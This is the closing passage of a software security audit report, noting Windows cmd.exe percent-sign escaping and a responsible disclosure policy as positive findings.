The explicit `%` to `%%` escaping on Windows demonstrates awareness of cmd.exe-specific attack vectors. This prevents `%USERPROFILE%` and similar environment variable expansion attacks.

### POS-014: Responsible Security Disclosure Policy

The project has a `SECURITY.md` with clear reporting instructions, response timelines, and scope definition.

---

_End of audit report._
